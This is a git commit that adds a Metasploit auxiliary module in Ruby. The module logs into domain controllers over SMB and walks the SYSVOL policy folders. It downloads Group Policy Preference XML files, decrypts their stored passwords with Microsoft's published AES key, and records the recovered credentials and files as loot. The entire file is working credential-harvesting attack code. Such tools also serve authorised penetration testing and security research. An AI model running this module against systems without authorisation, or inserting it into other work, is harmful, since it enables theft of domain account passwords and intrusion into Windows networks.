GPP enumeration via an AUX module

This commit is contained in:
Josh Abraham
2015-07-28 15:21:33 -04:00
parent 8b5a33c23f
commit fafbc4db3f
@@ -0,0 +1,216 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/parser/group_policy_preferences'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Remote::DCERPC
# Exploit mixins should be called first
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
# Aliases for common classes
SIMPLE = Rex::Proto::SMB::Client
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
def initialize
super(
'Name' => 'SMB Group Policy Preference Saved Passwords Enumeration',
'Description' => %Q{
This module enumerates files from target domain controllers and
connects to them via SMB. It then looks for Group Policy Preference XML
files containing local user accounts and passwords and decrypts them
using Microsofts public AES key.
Tested on Win2k8 R2 DC.
},
'Author' =>
[
'Joshua D. Abraham <jabra[at]praetorian.com>',
],
'References' =>
[
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'],
['MSB', 'MS14-025']
],
'License' => MSF_LICENSE
)
register_options([
OptString.new('SMBSHARE', [true, 'The name of the share on the server', 'SYSVOL']),
OptString.new('RPORT', [true, 'The Target port', 445]),
OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]),
], self.class)
end
def check_path(ip,path)
vprint_status("Trying to download \\\\#{ip}\\#{path}...")
begin
if (fd = simple.open("\\#{path}", 'ro'))
fd.close
print_good "Found Policy Share on #{ip}"
smb_download(ip,path)
end
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
case e.get_error(e.error_code)
when "STATUS_FILE_IS_A_DIRECTORY"
print_good("Directory FOUND: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}")
when "STATUS_OBJECT_NAME_NOT_FOUND"
vprint_error("Object \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
when "STATUS_OBJECT_PATH_NOT_FOUND"
vprint_error("Object PATH \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
when "STATUS_ACCESS_DENIED"
vprint_error("Host #{ip} reports access denied.")
when "STATUS_BAD_NETWORK_NAME"
vprint_error("Host #{ip} is NOT connected to #{datastore['SMBDomain']}!")
when "STATUS_INSUFF_SERVER_RESOURCES"
vprint_error("Host #{ip} rejected with insufficient resources!")
when "STATUS_OBJECT_NAME_INVALID"
vprint_error("opening \\#{path} bad filename")
else
return
end
end
end
def report_creds(ip,user, password, disabled)
service_data = {
address: ip,
port: 445,
protocol: "tcp",
service_name: "smb",
workspace_id: myworkspace_id
}
new_user = user.sub(/\s+.*/,'')
first, rest = new_user.split(/\\/)
if first and rest
domain = first
user = rest
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: user,
private_data: password,
private_type: :password,
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: domain,
}
else
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: new_user,
private_data: password,
private_type: :password
}
end
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
access_level: "User",
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
end
def parse_xml(ip,path,xmlfile)
mxml = xmlfile[:xml]
print_status "Parsing file: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}"
filetype = File.basename(xmlfile[:path].gsub("\\","/"))
results = Rex::Parser::GPP.parse(mxml)
tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc])
tables.each do |table|
print_good table.to_s
end
results.each do |result|
if datastore['STORE']
stored_path = store_loot('windows.gpp.xml', 'text/plain',ip, xmlfile[:xml], filetype, xmlfile[:path])
print_status("XML file saved to: #{stored_path}")
end
report_creds(ip,result[:USER], result[:PASS], result[:DISABLED])
end
end
def smb_download(ip,path)
vprint_status("Downloading #{path}...")
data = ''
begin
fd = simple.open("\\#{path}", 'ro')
data = fd.read
fd.close
end
spath = path.split('\\')
retobj = {
:dc => ip,
:path => path,
:xml => data
}
retobj[:domain] = spath[1]
parse_xml(ip,path,retobj) if retobj
fname = path.split("\\")[-1]
if datastore['STORE']
path = store_loot("smb.shares.file", "application/octet-stream",ip, data, fname)
print_good("#{fname} saved as: #{path}")
end
end
def run_host(ip)
print_status("Connecting to the server...")
begin
connect()
smb_login()
print_status("Mounting the remote share \\\\#{ip}\\#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{ip}\\#{datastore['SMBSHARE']}")
root_listing = self.simple.client.find_first("*")
corpdomain = ''
root_listing.each_pair do |key,val|
next if key == '.' or key == '..'
corpdomain = key
end
subfolder_listing = self.simple.client.find_first("#{corpdomain}\\Policies\\*")
subfolders = []
subfolder_listing.each_pair do |key,val|
next if key == '.' or key == '..'
subfolders << key
end
subfolders.each do |i|
i = "#{corpdomain}\\Policies\\#{i}"
check_path(ip,"\\#{i}\\MACHINE\\Preferences\\Groups\\Groups.xml")
check_path(ip,"\\#{i}\\USER\\Preferences\\Groups\\Groups.xml")
check_path(ip,"\\#{i}\\MACHINE\\Preferences\\Services\\Services.xml")
check_path(ip,"\\#{i}\\USER\\Preferences\\Printers\\Printers.xml")
check_path(ip,"\\#{i}\\USER\\Preferences\\Drives\\Drives.xml")
check_path(ip,"\\#{i}\\MACHINE\\Preferences\\Datasources\\DataSources.xml")
check_path(ip,"\\#{i}\\USER\\Preferences\\Datasources\\DataSources.xml")
check_path(ip,"\\#{i}\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml")
check_path(ip,"\\#{i}\\USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml")
end
disconnect
rescue ::Exception => e
print_error("#{rhost}: #{e.class} #{e}")
ensure
disconnect
end
end
end